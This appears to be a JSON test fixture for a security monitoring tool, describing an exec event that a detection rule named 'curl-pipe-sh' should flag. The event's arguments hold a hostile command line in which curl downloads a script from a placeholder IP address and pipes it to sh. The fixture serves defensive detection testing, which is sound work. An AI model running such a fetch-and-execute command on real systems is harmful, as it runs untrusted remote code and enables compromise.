enodia-sentinal/tests/fixtures/sids/100004-curl-pipe-sh.json
2026-07-08 17:05:17 -07:00

9 lines
177 B
JSON

{
"event": "exec",
"pid": 4245,
"ppid": 4100,
"uid": 1000,
"parent_comm": "bash",
"filename": "/usr/bin/curl",
"argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]
}